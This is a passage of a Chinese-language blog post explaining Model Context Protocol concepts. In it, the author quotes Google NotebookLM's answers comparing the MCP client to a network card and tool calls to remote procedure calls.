&#x4E2D;&#x7684;&#x6838;&#x5FC3;&#x6982;&#x5FF5;</h3><p><strong>MCP hosts</strong>&#xFF1A; &#x901A;&#x8FC7;MCP&#x8BBF;&#x95EE;&#x6570;&#x636E;&#x7684;AI&#x5DE5;&#x5177;&#xFF0C;&#x5982; Claude Desktop&#xFF0C;Cursor, Cline &#x7B49;&#x3002;</p><p><strong>MCP Client</strong>&#xFF1A; &#x8D1F;&#x8D23;&#x4E0E; MCP server &#x4E00;&#x5BF9;&#x4E00;&#x8FDE;&#x63A5;&#x3002;</p><p><strong>MCP server</strong>&#xFF1A; &#x901A;&#x8FC7; MCP &#x534F;&#x8BAE;&#x66B4;&#x9732;&#x7279;&#x5B9A;&#x529F;&#x80FD;&#xFF0C;&#x7279;&#x5B9A;&#x8D44;&#x6E90;&#x3002;</p><p><strong>servers</strong>: MCP server &#x5411;&#x5916;&#x90E8; LLM &#x66B4;&#x9732;&#x6570;&#x636E;&#x7684;&#x4E00;&#x79CD;&#x5F62;&#x5F0F;&#x3002;&#x4E3B;&#x8981;&#x662F;&#x52A0;&#x8F7D;&#x4FE1;&#x606F;&#x7ED9; LLM&#xFF0C;&#x4E0D;&#x8FDB;&#x884C;&#x8BA1;&#x7B97;&#xFF0C;&#x4E0D;&#x6539;&#x53D8;&#x72B6;&#x6001;&#xFF0C;&#x6CA1;&#x6709;&#x526F;&#x4F5C;&#x7528;&#x3002;&#x7C7B;&#x4F3C;&#x4E8E; REST API &#x4E2D;&#x7684; GET &#x64CD;&#x4F5C;&#x3002;</p><p><strong>tools</strong>:  MCP server &#x5411;&#x5916;&#x90E8; LLM &#x66B4;&#x9732;&#x6570;&#x636E;&#x7684;&#x4E00;&#x79CD;&#x5F62;&#x5F0F;&#x3002;&#x8FD0;&#x884C; LLM &#x6267;&#x884C;&#x64CD;&#x4F5C;&#xFF0C;&#x8FDB;&#x884C;&#x8BA1;&#x7B97;&#xFF0C;&#x4F1A;&#x6539;&#x53D8;&#x72B6;&#x6001;&#xFF0C;&#x6709;&#x526F;&#x4F5C;&#x7528;&#x3002;&#x7C7B;&#x4F3C;&#x4E8E; REST API &#x4E2D;&#x7684; POST &#x64CD;&#x4F5C;&#x3002;</p><p><strong>prompt</strong>: MCP server &#x5411;&#x5916;&#x90E8; LLM &#x63D0;&#x4F9B;&#x6570;&#x636E;&#x7684;&#x4E00;&#x79CD;&#x5F62;&#x5F0F;&#x3002;&#x662F;&#x590D;&#x7528;&#x7684;&#x6A21;&#x677F;&#x3002;&#x63D0;&#x793A;&#x8BCD;&#x80FD;&#x591F;&#x5E2E;&#x52A9; LLM &#x4E0E; MCP server &#x66F4;&#x597D;&#x7684;&#x8FDB;&#x884C;&#x4EA4;&#x4E92;&#x3002;</p><p><strong>context</strong>: Context &#x5BF9;&#x8C61;&#x4E3A;&#x5DE5;&#x5177;&#x548C;&#x8D44;&#x6E90;&#x63D0;&#x4F9B;&#x66F4;&#x591A;&#x80FD;&#x529B;&#x3002;</p><p><strong>Transport</strong>&#xFF1A; MCP &#x5BA2;&#x6237;&#x7AEF;&#x4E0E;&#x670D;&#x52A1;&#x7AEF;&#x4E4B;&#x95F4;&#x8FDB;&#x884C;&#x901A;&#x4FE1;&#x7684;&#x673A;&#x5236;&#xFF0C;&#x76EE;&#x524D;&#x6709;&#x6807;&#x51C6;&#x8F93;&#x5165;&#x8F93;&#x51FA; stdio, &#x670D;&#x52A1;&#x5668;&#x53D1;&#x751F;&#x4E8B;&#x4EF6; SSE&#x3002;</p><h3 id="&#x6211;&#x7684;&#x7591;&#x95EE;">&#x6211;&#x7684;&#x7591;&#x95EE;</h3><p><em>&#x5BF9;&#x4E8E; MCP host &#x7684;&#x89D2;&#x8272;&#x548C; MCP server &#x7684;&#x89D2;&#x8272;&#x6211;&#x662F;&#x53EF;&#x4EE5;&#x7406;&#x89E3;&#x7684;&#xFF0C;&#x4F46;&#x662F; MCP Client &#x7684;&#x4F5C;&#x7528;&#x662F;&#x4EC0;&#x4E48;&#x5462;&#xFF1F;&#x76EE;&#x524D;&#x6765;&#x770B;&#xFF0C;&#x597D;&#x50CF;&#x662F; MCP host &#x76F4;&#x63A5;&#x4E0E; MCP server &#x8FDB;&#x884C;&#x901A;&#x4FE1;&#x7684;&#xFF0C;&#x6CA1;&#x6709;&#x770B;&#x5230; MCP Client &#x7684;&#x8EAB;&#x5F71;&#xFF0C;&#x5BF9;&#x6B64;&#x6211;&#x5BF9;&#x5B83;&#x7684;&#x5B58;&#x5728;&#x8868;&#x793A;&#x7591;&#x95EE;&#x3002;</em></p><p>Google NotebookLM &#x7ED9;&#x6211;&#x7684;&#x56DE;&#x7B54;&#x662F;&#xFF1A;</p><p>&#x2022; <strong>MCP &#x4E3B;&#x673A;&#x5185;&#x7F6E; Client &#x529F;&#x80FD;</strong>, &#x5728; mcp install &#x8FD9;&#x79CD;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;MCP &#x4E3B;&#x673A;&#xFF08;&#x5982; Claude Desktop&#xFF09;&#x5F88;&#x53EF;&#x80FD;&#x5DF2;&#x7ECF;&#x5185;&#x7F6E;&#x4E86;&#x5904;&#x7406;&#x4E0E;&#x5DF2;&#x5B89;&#x88C5; MCP &#x670D;&#x52A1;&#x5668;&#x901A;&#x4FE1;&#x6240;&#x9700;&#x7684; MCP Client &#x529F;&#x80FD;&#x3002;&#x5F53;&#x5B89;&#x88C5;&#x4E00;&#x4E2A;&#x65B0;&#x7684;&#x670D;&#x52A1;&#x5668;&#x540E;&#xFF0C;Claude Desktop &#x5E76;&#x4E0D;&#x662F;&#x76F4;&#x63A5;&#x4E0E; MCP server &#x4E2D;&#x5B9A;&#x4E49;&#x7684;&#x670D;&#x52A1;&#x901A;&#x4FE1;&#xFF0C;&#x800C;&#x662F;&#x5229;&#x7528;&#x5176;&#x5185;&#x90E8;&#x5B9E;&#x73B0;&#x7684; MCP Client &#x903B;&#x8F91;&#xFF0C;&#x6839;&#x636E;&#x5B89;&#x88C5;&#x65F6;&#x63D0;&#x4F9B;&#x7684;&#x4FE1;&#x606F;&#xFF08;&#x4F8B;&#x5982;&#x670D;&#x52A1;&#x5668;&#x7684;&#x547D;&#x4EE4;&#x3001;URL &#x7B49;&#xFF09;&#x6765;&#x5EFA;&#x7ACB;&#x8FDE;&#x63A5;&#x3001;&#x53D1;&#x9001;&#x8BF7;&#x6C42;&#xFF08;&#x4F8B;&#x5982;&#x5217;&#x51FA;&#x5DE5;&#x5177;&#x3001;&#x8BFB;&#x53D6;&#x8D44;&#x6E90;&#x3001;&#x8C03;&#x7528;&#x5DE5;&#x5177;&#xFF09;&#x5E76;&#x5904;&#x7406;&#x54CD;&#x5E94;&#x3002;</p><p>&#x2022; <strong>MCP Client &#x7684;&#x89D2;&#x8272;&#x4ECD;&#x7136;&#x5B58;&#x5728;</strong>&#xFF1A;&#x5373;&#x4F7F;&#x6CA1;&#x6709;&#x663E;&#x5F0F;&#x5730;&#x542F;&#x52A8;&#x4E00;&#x4E2A;&#x540D;&#x4E3A; &#x201C;MCP Client&#x201D; &#x7684;&#x72EC;&#x7ACB;&#x5E94;&#x7528;&#x7A0B;&#x5E8F;&#xFF0C;MCP Client &#x7684;&#x6838;&#x5FC3;&#x529F;&#x80FD;&#x4ECD;&#x7136;&#x662F;&#x5FC5;&#x4E0D;&#x53EF;&#x5C11;&#x7684;&#x3002;&#x53EA;&#x662F;&#x5728;&#x8FD9;&#x79CD;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x8FD9;&#x4E2A; Client &#x7684;&#x89D2;&#x8272;&#x662F;&#x7531; MCP &#x4E3B;&#x673A;&#x81EA;&#x8EAB;&#x6765;&#x627F;&#x62C5;&#x548C;&#x5B9E;&#x73B0;&#x7684;&#x3002;Claude Desktop &#x5185;&#x90E8;&#x7684;&#x67D0;&#x4E2A;&#x6A21;&#x5757;&#x6216;&#x7EC4;&#x4EF6;&#x5145;&#x5F53;&#x4E86;&#x8BE5;&#x7279;&#x5B9A; MCP &#x670D;&#x52A1;&#x5668;&#x7684; Client&#x3002;</p><p>&#x2022; <strong>&#x663E;&#x5F0F; MCP Client &#x7684;&#x4F7F;&#x7528;&#x573A;&#x666F;</strong>&#xFF1A;&#x867D;&#x7136;&#x5BF9;&#x4E8E;&#x901A;&#x8FC7; mcp install &#x96C6;&#x6210;&#x5230; MCP &#x4E3B;&#x673A;&#x4E2D;&#x7684;&#x670D;&#x52A1;&#x5668;&#x6765;&#x8BF4;&#xFF0C;&#x60A8;&#x53EF;&#x80FD;&#x770B;&#x4E0D;&#x5230;&#x4E00;&#x4E2A;&#x72EC;&#x7ACB;&#x7684; MCP Client &#x8FDB;&#x7A0B;&#xFF0C;&#x4F46;&#x662F;&#x5F53;&#x60A8;&#x9700;&#x8981;&#x6784;&#x5EFA;&#x4E00;&#x4E2A;&#x72EC;&#x7ACB;&#x7684;&#x5E94;&#x7528;&#x7A0B;&#x5E8F;&#xFF0C;&#x8BE5;&#x7A0B;&#x5E8F;&#x9700;&#x8981;&#x4E0E;&#x4E00;&#x4E2A;&#x6216;&#x591A;&#x4E2A; MCP &#x670D;&#x52A1;&#x5668;&#x8FDB;&#x884C;&#x4EA4;&#x4E92;&#x65F6;&#xFF0C;&#x60A8;&#x5C31;&#x9700;&#x8981;&#x4F7F;&#x7528; MCP Client SDK&#xFF08;&#x4F8B;&#x5982; Python SDK &#x63D0;&#x4F9B;&#x7684; ClientSession&#xFF09;&#x6765;&#x663E;&#x5F0F;&#x5730;&#x7F16;&#x5199;&#x548C;&#x8FD0;&#x884C;&#x60A8;&#x7684; MCP Client &#x4EE3;&#x7801;&#x3002;&#x8FD9;&#x79CD;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;MCP Client &#x662F;&#x4E00;&#x4E2A;&#x72EC;&#x7ACB;&#x7684;&#x7A0B;&#x5E8F;&#xFF0C;&#x5B83;&#x4F7F;&#x7528; MCP &#x534F;&#x8BAE;&#x4E0E;&#x8FDC;&#x7A0B;&#x7684; MCP &#x670D;&#x52A1;&#x5668;&#x901A;&#x4FE1;&#x3002;</p><hr><p><em>&#x63A5;&#x4E0B;&#x6765;&#xFF0C;&#x6211;&#x53C8;&#x63D0;&#x51FA;&#x4E86;&#x53E6;&#x5916;&#x4E00;&#x4E2A;&#x7591;&#x95EE;&#xFF0C;&#x5982;&#x679C;&#x8FDB;&#x884C;&#x7C7B;&#x6BD4;&#x7684;&#x8BDD;&#xFF0C;&#x8FD9;&#x91CC;&#x7684; MCP Client &#x662F;&#x4E0D;&#x662F;&#x7C7B;&#x4F3C;&#x7535;&#x8111;&#x4E3B;&#x673A;&#x4E0A;&#x7684;&#x7F51;&#x5361;&#xFF1F;</em></p><p>Google NotebookLM &#x4E5F;&#x7ED9;&#x4E86;&#x80AF;&#x5B9A;&#x56DE;&#x7B54;&#xFF1A;</p><p>&#x662F;&#x7684;&#xFF0C;&#x60A8;&#x7684;&#x8FD9;&#x79CD;&#x7406;&#x89E3;&#x975E;&#x5E38;&#x8D34;&#x5207;&#xFF01;&#x5C06; MCP Client &#x6BD4;&#x4F5C;&#x8BA1;&#x7B97;&#x673A;&#x91CC;&#x9762;&#x7684;&#x786C;&#x4EF6;&#xFF1A;&#x7F51;&#x5361;&#xFF0C;&#x6765;&#x7406;&#x89E3;&#x5176;&#x5728; MCP Host &#x548C; MCP Server &#x4E4B;&#x95F4;&#x5EFA;&#x7ACB;&#x8FDE;&#x63A5;&#x548C;&#x5904;&#x7406;&#x534F;&#x8BAE;&#x7684;&#x89D2;&#x8272;&#xFF0C;&#x662F;&#x5F88;&#x5F62;&#x8C61;&#x4E14;&#x5BB9;&#x6613;&#x7406;&#x89E3;&#x7684;&#x3002;</p><p>&#x8BA9;&#x6211;&#x4EEC;&#x66F4;&#x7EC6;&#x81F4;&#x5730;&#x5206;&#x6790;&#x4E00;&#x4E0B;&#x8FD9;&#x4E2A;&#x7C7B;&#x6BD4;&#xFF1A;</p><p>&#x2022; MCP Host (&#x4F8B;&#x5982; Claude Desktop) &#x5C31;&#x50CF;&#x8BA1;&#x7B97;&#x673A; (host)&#xFF1A;&#x8FD9;&#x662F;&#x51C6;&#x786E;&#x7684;&#x3002;MCP Host &#x662F;&#x8FD0;&#x884C; LLM &#x5E76;&#x9700;&#x8981;&#x5229;&#x7528; MCP Server &#x63D0;&#x4F9B;&#x7684;&#x6570;&#x636E;&#x548C;&#x529F;&#x80FD;&#x7684;&#x5E94;&#x7528;&#x7A0B;&#x5E8F;&#xFF0C;&#x5C31;&#x50CF;&#x8BA1;&#x7B97;&#x673A;&#x662F;&#x8FD0;&#x884C;&#x5404;&#x79CD;&#x5E94;&#x7528;&#x7A0B;&#x5E8F;&#x7684;&#x4E3B;&#x4F53;&#x3002;</p><p>&#x2022; MCP Client &#x5C31;&#x50CF;&#x7F51;&#x5361; (&#x7F51;&#x8DEF;&#x4ECB;&#x9762;&#x5361;)&#xFF1A;&#x8FD9;&#x4E2A;&#x6BD4;&#x55BB;&#x975E;&#x5E38;&#x6070;&#x5F53;&#xFF0C;&#x56E0;&#x4E3A;&#xFF1A;</p><p>&#x2022; &#x5EFA;&#x7ACB;&#x8FDE;&#x63A5;: &#x7F51;&#x5361;&#x8D1F;&#x8D23;&#x5EFA;&#x7ACB;&#x8BA1;&#x7B97;&#x673A;&#x4E0E;&#x7269;&#x7406;&#x7F51;&#x7EDC;&#xFF08;&#x4F8B;&#x5982;&#x4EE5;&#x592A;&#x7F51;&#x3001;Wi-Fi&#xFF09;&#x7684;&#x7269;&#x7406;&#x8FDE;&#x63A5;&#x3002;&#x7C7B;&#x4F3C;&#x5730;&#xFF0C;MCP Client &#x8D1F;&#x8D23;&#x5EFA;&#x7ACB; MCP Host &#x4E0E; MCP Server &#x4E4B;&#x95F4;&#x7684;&#x901A;&#x4FE1;&#x8FDE;&#x63A5;&#x3002;</p><p>&#x2022;&#x534F;&#x8BAE;&#x5904;&#x7406;: &#x7F51;&#x5361;&#x5728;&#x786C;&#x4EF6;&#x5C42;&#x9762;&#x5904;&#x7406;&#x5E95;&#x5C42;&#x7684;&#x7F51;&#x7EDC;&#x534F;&#x8BAE;&#xFF08;&#x4F8B;&#x5982; TCP/IP &#x4E2D;&#x7684;&#x4EE5;&#x592A;&#x7F51;&#x5E27;&#x3001;IP &#x6570;&#x636E;&#x5305;&#x7B49;&#xFF09;&#x3002;&#x7C7B;&#x4F3C;&#x5730;&#xFF0C;MCP Client &#x8D1F;&#x8D23;&#x5904;&#x7406; MCP &#x534F;&#x8BAE;&#x89C4;&#x5B9A;&#x7684;&#x6570;&#x636E;&#x683C;&#x5F0F;&#x548C;&#x901A;&#x4FE1;&#x6D41;&#x7A0B; &#x3002;&#x5B83;&#x9700;&#x8981;&#x7406;&#x89E3; MCP &#x670D;&#x52A1;&#x5668;&#x53D1;&#x9001;&#x7684;&#x8BF7;&#x6C42;&#x548C;&#x54CD;&#x5E94;&#xFF0C;&#x5E76;&#x6309;&#x7167;&#x534F;&#x8BAE;&#x89C4;&#x8303;&#x8FDB;&#x884C;&#x89E3;&#x6790;&#x548C;&#x5C01;&#x88C5;&#x3002;</p><p>&#x2022; &#x6570;&#x636E;&#x8F6C;&#x53D1;: &#x7F51;&#x5361;&#x63A5;&#x6536;&#x5230;&#x7F51;&#x7EDC;&#x6570;&#x636E;&#x540E;&#xFF0C;&#x4F1A;&#x5C06;&#x5176;&#x8F6C;&#x5316;&#x4E3A;&#x8BA1;&#x7B97;&#x673A;&#x64CD;&#x4F5C;&#x7CFB;&#x7EDF;&#x80FD;&#x591F;&#x7406;&#x89E3;&#x7684;&#x683C;&#x5F0F;&#xFF0C;&#x5E76;&#x8F6C;&#x53D1;&#x7ED9;&#x76F8;&#x5E94;&#x7684;&#x5E94;&#x7528;&#x7A0B;&#x5E8F;&#x3002;&#x7C7B;&#x4F3C;&#x5730;&#xFF0C;MCP Client &#x4ECE; MCP Server &#x63A5;&#x6536;&#x5230;&#x6570;&#x636E;&#x540E;&#xFF08;&#x4F8B;&#x5982;&#x8D44;&#x6E90;&#x5185;&#x5BB9;&#x3001;&#x5DE5;&#x5177;&#x6267;&#x884C;&#x7ED3;&#x679C;&#xFF09;&#xFF0C;&#x4F1A;&#x5C06;&#x5176;&#x89E3;&#x6790;&#x6210; MCP Host&#xFF08;&#x4EE5;&#x53CA;&#x5728;&#x5176;&#x4E0A;&#x8FD0;&#x884C;&#x7684; LLM&#xFF09;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x7684;&#x683C;&#x5F0F;&#xFF0C;&#x5E76;&#x5C06; MCP Host &#x7684;&#x8BF7;&#x6C42;&#x6309;&#x7167; MCP &#x534F;&#x8BAE;&#x53D1;&#x9001;&#x7ED9; MCP Server&#x3002;</p><p>&#x2022; MCP Server &#x5C31;&#x50CF;&#x7F51;&#x7EDC;&#x4E0A;&#x7684;&#x670D;&#x52A1;&#x5668;: &#x8FD9;&#x4E5F;&#x662F;&#x4E00;&#x4E2A;&#x5408;&#x7406;&#x7684;&#x5EF6;&#x4F38;&#x3002;MCP Server &#x63D0;&#x4F9B;&#x7279;&#x5B9A;&#x7684;&#x6570;&#x636E;&#x548C;&#x670D;&#x52A1;&#xFF08;&#x901A;&#x8FC7;&#x8D44;&#x6E90;&#x548C;&#x5DE5;&#x5177;&#xFF09;&#xFF0C;&#x5C31;&#x50CF;&#x4E92;&#x8054;&#x7F51;&#x4E0A;&#x7684;&#x5404;&#x79CD;&#x670D;&#x52A1;&#x5668;&#x63D0;&#x4F9B;&#x7F51;&#x7AD9;&#x3001;API &#x7B49;&#x670D;&#x52A1;&#x7ED9;&#x8FDE;&#x63A5;&#x5230;&#x7F51;&#x7EDC;&#x7684;&#x8BA1;&#x7B97;&#x673A;&#x3002;</p><p>&#x2022;LLM &#x5C31;&#x50CF;&#x4F7F;&#x7528;&#x7F51;&#x7EDC;&#x7684;&#x5E94;&#x7528;: LLM &#x5728; MCP Host &#x4E2D;&#x8FD0;&#x884C;&#xFF0C;&#x5B83;&#x901A;&#x8FC7; MCP Client &#x83B7;&#x53D6; MCP Server &#x63D0;&#x4F9B;&#x7684;&#x4FE1;&#x606F;&#x6216;&#x6267;&#x884C; MCP Server &#x63D0;&#x4F9B;&#x7684;&#x529F;&#x80FD;&#xFF0C;&#x8FD9;&#x7C7B;&#x4F3C;&#x4E8E;&#x8BA1;&#x7B97;&#x673A;&#x4E0A;&#x7684;&#x5E94;&#x7528;&#x7A0B;&#x5E8F;&#x901A;&#x8FC7;&#x7F51;&#x5361;&#x548C;&#x7F51;&#x7EDC;&#x4E0E;&#x5916;&#x90E8;&#x670D;&#x52A1;&#x5668;&#x8FDB;&#x884C;&#x4EA4;&#x4E92;&#x3002;</p><p>&#x603B;&#x7ED3;&#x6765;&#x8BF4;&#xFF0C;&#x60A8;&#x7684;&#x7406;&#x89E3;&#x662F;&#x6B63;&#x786E;&#x7684;&#xFF1A;</p><p>&#x2022; MCP Client &#x627F;&#x62C5;&#x4E86;&#x5E95;&#x5C42;&#x7684;&#x901A;&#x4FE1;&#x548C;&#x534F;&#x8BAE;&#x5904;&#x7406;&#x5DE5;&#x4F5C;&#xFF0C;&#x5C31;&#x50CF;&#x7F51;&#x5361;&#x5904;&#x7406;&#x7269;&#x7406;&#x8FDE;&#x63A5;&#x548C;&#x7F51;&#x7EDC;&#x534F;&#x8BAE;&#x4E00;&#x6837;&#x3002;</p><p>&#x2022; &#x5B83;&#x5145;&#x5F53;&#x4E86; MCP Host &#x548C; MCP Server &#x4E4B;&#x95F4;&#x7684;&#x4E2D;&#x4ECB;&#xFF0C;&#x8D1F;&#x8D23;&#x8FDE;&#x63A5;&#x7684;&#x5EFA;&#x7ACB;&#x3001;&#x6570;&#x636E;&#x7684;&#x89E3;&#x6790;&#x548C;&#x534F;&#x8BAE;&#x7684;&#x8F6C;&#x6362;&#xFF0C;&#x4F7F;&#x5F97; MCP Host &#x4E2D;&#x8FD0;&#x884C;&#x7684; LLM &#x80FD;&#x591F;&#x4EE5;&#x6807;&#x51C6;&#x5316;&#x7684;&#x65B9;&#x5F0F;&#x4F7F;&#x7528; MCP Server &#x7684;&#x80FD;&#x529B;&#x3002;</p><p>&#x6B63;&#x5982;&#x6211;&#x4EEC;&#x4E4B;&#x524D;&#x8BA8;&#x8BBA;&#x7684;&#xFF0C;MCP Client &#x7684;&#x5177;&#x4F53;&#x5B9E;&#x73B0;&#x53EF;&#x80FD;&#x5728; MCP Host &#x5185;&#x90E8;&#xFF08;&#x4F8B;&#x5982; Claude Desktop &#x5185;&#x7F6E;&#x4E86;&#x5904;&#x7406;&#x4E0E;&#x5176;&#x5B89;&#x88C5;&#x7684;&#x670D;&#x52A1;&#x5668;&#x901A;&#x4FE1;&#x7684; Client &#x529F;&#x80FD;&#xFF09;&#xFF0C;&#x800C;&#x4E0D;&#x662F;&#x4E00;&#x4E2A;&#x603B;&#x662F;&#x663E;&#x5F0F;&#x8FD0;&#x884C;&#x7684;&#x72EC;&#x7ACB;&#x670D;&#x52A1;&#x3002;&#x4F46;&#x8FD9;&#x5E76;&#x4E0D;&#x5F71;&#x54CD;&#x5176;&#x6838;&#x5FC3;&#x529F;&#x80FD;&#x548C;&#x89D2;&#x8272;&#xFF0C;&#x5C31;&#x50CF;&#x7F51;&#x5361;&#x662F;&#x8BA1;&#x7B97;&#x673A;&#x4E3B;&#x677F;&#x4E0A;&#x7684;&#x4E00;&#x4E2A;&#x786C;&#x4EF6;&#x7EC4;&#x4EF6;&#xFF0C;&#x867D;&#x7136;&#x60A8;&#x4E0D;&#x76F4;&#x63A5;&#x64CD;&#x4F5C;&#x5B83;&#xFF0C;&#x4F46;&#x5B83;&#x5BF9;&#x4E8E;&#x8BA1;&#x7B97;&#x673A;&#x7684;&#x7F51;&#x7EDC;&#x901A;&#x4FE1;&#x81F3;&#x5173;&#x91CD;&#x8981;&#x3002;&#x56E0;&#x6B64;&#xFF0C;&#x60A8;&#x7684;&#x7C7B;&#x6BD4;&#x975E;&#x5E38;&#x51C6;&#x786E;&#x5730;&#x628A;&#x63E1;&#x4F4F;&#x4E86; MCP Client &#x7684;&#x6838;&#x5FC3;&#x4F5C;&#x7528;&#x3002;</p><hr><p><em>&#x6709;&#x4E86;&#x524D;&#x9762;&#x7684;&#x542F;&#x53D1;&#xFF0C;&#x6211;&#x8FDB;&#x4E00;&#x6B65;&#x63D0;&#x51FA;&#x7591;&#x95EE;&#xFF0C;&#x8FD9;&#x6574;&#x4E2A;&#x8FC7;&#x7A0B;&#x662F;&#x4E0D;&#x662F;&#x50CF; PRC &#x8C03;&#x7528;(Remote Procedure Call)&#x8FC7;&#x7A0B;&#xFF1F;</em></p><p>Google NotebookLM &#x56DE;&#x7B54;&#x5982;&#x4E0B;&#xFF1A;</p><p>&#x662F;&#x7684;&#xFF0C;&#x60A8;&#x7684;&#x76F4;&#x89C9;&#x975E;&#x5E38;&#x654F;&#x9510;&#xFF01;&#x8FD9;&#x91CC;&#x7684;&#x786E;&#x5F88;&#x50CF;&#x8FDC;&#x7A0B;&#x8FC7;&#x7A0B;&#x8C03;&#x7528; (Remote Procedure Call, RPC)&#x3002;&#x8BA9;&#x6211;&#x4EEC;&#x5206;&#x6790;&#x4E00;&#x4E0B; MCP &#x4E2D; LLM &#x8C03;&#x7528; MCP Server &#x63D0;&#x4F9B;&#x7684; tool &#x7684;&#x8FC7;&#x7A0B;&#xFF0C;&#x4EE5;&#x53CA; RPC &#x7684;&#x5DE5;&#x4F5C;&#x65B9;&#x5F0F;&#xFF0C;&#x60A8;&#x4F1A;&#x53D1;&#x73B0;&#x5B83;&#x4EEC;&#x4E4B;&#x95F4;&#x5B58;&#x5728;&#x663E;&#x8457;&#x7684;&#x76F8;&#x4F3C;&#x6027;&#xFF1A;</p><p>&#x2022; LLM (&#x5728; MCP Host &#x4E2D;) &#x60F3;&#x8981;&#x6267;&#x884C;&#x67D0;&#x4E2A;&#x64CD;&#x4F5C;&#x6216;&#x83B7;&#x53D6;&#x67D0;&#x4E9B;&#x4FE1;&#x606F;&#xFF0C;&#x800C;&#x8FD9;&#x4E9B;&#x80FD;&#x529B;&#x662F;&#x7531; MCP Server &#x63D0;&#x4F9B;&#x7684; Tool &#x5B9E;&#x73B0;&#x7684; &#x3002;&#x8FD9;&#x5C31;&#x50CF;&#x5728; RPC &#x4E2D;&#xFF0C;&#x5BA2;&#x6237;&#x7AEF;&#x7A0B;&#x5E8F;&#x60F3;&#x8981;&#x8C03;&#x7528;&#x8FD0;&#x884C;&#x5728;&#x8FDC;&#x7A0B;&#x670D;&#x52A1;&#x5668;&#x4E0A;&#x7684;&#x67D0;&#x4E2A;&#x51FD;&#x6570;&#x6216;&#x8FC7;&#x7A0B;&#x3002;</p><p>&#x2022; MCP Client &#x8D1F;&#x8D23;&#x5C06; LLM &#x7684; Tool &#x8C03;&#x7528;&#x8BF7;&#x6C42;&#xFF08;&#x5305;&#x62EC; Tool &#x7684;&#x540D;&#x79F0;&#x548C;&#x53C2;&#x6570;&#xFF09;&#x6309;&#x7167; MCP &#x534F;&#x8BAE;&#x5C01;&#x88C5;&#xFF0C;&#x5E76;&#x901A;&#x8FC7;&#x7F51;&#x7EDC;&#x53D1;&#x9001;&#x7ED9; MCP Server&#x3002;&#x5728; RPC &#x4E2D;&#xFF0C;&#x5BA2;&#x6237;&#x7AEF;&#x7684; Stub (&#x6216;&#x4EE3;&#x7406;) &#x8D1F;&#x8D23;&#x5C06;&#x672C;&#x5730;&#x51FD;&#x6570;&#x8C03;&#x7528;&#x8F6C;&#x5316;&#x4E3A;&#x7F51;&#x7EDC;&#x6D88;&#x606F;&#xFF0C;&#x5E76;&#x53D1;&#x9001;&#x7ED9;&#x670D;&#x52A1;&#x5668;&#x3002;</p><p>&#x2022; MCP Server &#x63A5;&#x6536;&#x5230;&#x8BF7;&#x6C42;&#x540E;&#xFF0C;&#x4F1A;&#x89E3;&#x6790;&#x534F;&#x8BAE;&#xFF0C;&#x627E;&#x5230;&#x5BF9;&#x5E94;&#x7684; Tool &#x7684;&#x5B9E;&#x73B0;&#x4EE3;&#x7801;&#xFF0C;&#x5E76;&#x5728;&#x5176;&#x81EA;&#x8EAB;&#x7684;&#x8FD0;&#x884C;&#x73AF;&#x5883;&#x4E2D;&#x6267;&#x884C;&#x8BE5; Tool &#x3002;&#x5728; RPC &#x4E2D;&#xFF0C;&#x670D;&#x52A1;&#x5668;&#x7AEF;&#x7684; Skeleton (&#x6216;&#x5B58;&#x6839;) &#x63A5;&#x6536;&#x5230;&#x8BF7;&#x6C42;&#x540E;&#xFF0C;&#x4F1A;&#x89E3;&#x5305;&#x53C2;&#x6570;&#xFF0C;&#x5E76;&#x8C03;&#x7528;&#x5B9E;&#x9645;&#x7684;&#x670D;&#x52A1;&#x8FC7;&#x7A0B;&#x3002;</p><p>&#x2022; Tool &#x6267;&#x884C;&#x5B8C;&#x6BD5;&#x540E;&#xFF0C;MCP Server &#x4F1A;&#x5C06;&#x7ED3;&#x679C;&#x6309;&#x7167; MCP &#x534F;&#x8BAE;&#x5C01;&#x88C5;&#x6210;&#x54CD;&#x5E94;&#xFF0C;&#x5E76;&#x901A;&#x8FC7; MCP Client &#x53D1;&#x9001;&#x56DE;&#x7ED9; MCP Host &#x3002;&#x5728; RPC &#x4E2D;&#xFF0C;&#x670D;&#x52A1;&#x5668;&#x7AEF;&#x7684;&#x8FC7;&#x7A0B;&#x6267;&#x884C;&#x5B8C;&#x6BD5;&#x540E;&#xFF0C;&#x7ED3;&#x679C;&#x4F1A;&#x88AB;&#x6253;&#x5305;&#x6210;&#x54CD;&#x5E94;&#x6D88;&#x606F;&#xFF0C;&#x5E76;&#x901A;&#x8FC7;&#x7F51;&#x7EDC;&#x53D1;&#x9001;&#x56DE;&#x5BA2;&#x6237;&#x7AEF;&#x3002;</p><p>&#x2022; MCP Client &#x63A5;&#x6536;&#x5230;&#x54CD;&#x5E94;&#x540E;&#xFF0C;&#x4F1A;&#x89E3;&#x6790;&#x534F;&#x8BAE;&#xFF0C;&#x5E76;&#x5C06;&#x7ED3;&#x679C;&#x4F20;&#x9012;&#x7ED9; LLM (&#x6216; MCP Host) &#x3002;&#x5728; RPC &#x4E2D;&#xFF0C;&#x5BA2;&#x6237;&#x7AEF;&#x7684; Stub &#x63A5;&#x6536;&#x5230;&#x54CD;&#x5E94;&#x540E;&#xFF0C;&#x4F1A;&#x89E3;&#x5305;&#x7ED3;&#x679C;&#xFF0C;&#x5E76;&#x8FD4;&#x56DE;&#x7ED9;&#x8C03;&#x7528;&#x65B9;&#x3002;</p><p>&#x603B;&#x7684;&#x6765;&#x8BF4;&#xFF0C;LLM &#x901A;&#x8FC7; MCP Client &#x8C03;&#x7528; MCP Server &#x63D0;&#x4F9B;&#x7684; Tool &#x7684;&#x8FC7;&#x7A0B;&#xFF0C;&#x4E0E; RPC &#x7684;&#x6838;&#x5FC3;&#x601D;&#x60F3;&#x975E;&#x5E38;&#x4E00;&#x81F4;&#xFF1A;</p><p>&#x2022; &#x5BA2;&#x6237;&#x7AEF; (LLM/MCP Host) &#x53D1;&#x8D77;&#x4E00;&#x4E2A;&#x770B;&#x4F3C;&#x672C;&#x5730;&#x7684;&quot;&#x51FD;&#x6570;&#x8C03;&#x7528;&quot;&#x3002;</p><p>&#x2022; &#x5B9E;&#x9645;&#x7684;&#x6267;&#x884C;&#x53D1;&#x751F;&#x5728;&#x8FDC;&#x7A0B;&#x670D;&#x52A1;&#x5668; (MCP Server) &#x4E0A;&#x3002;</p><p>&#x2022; 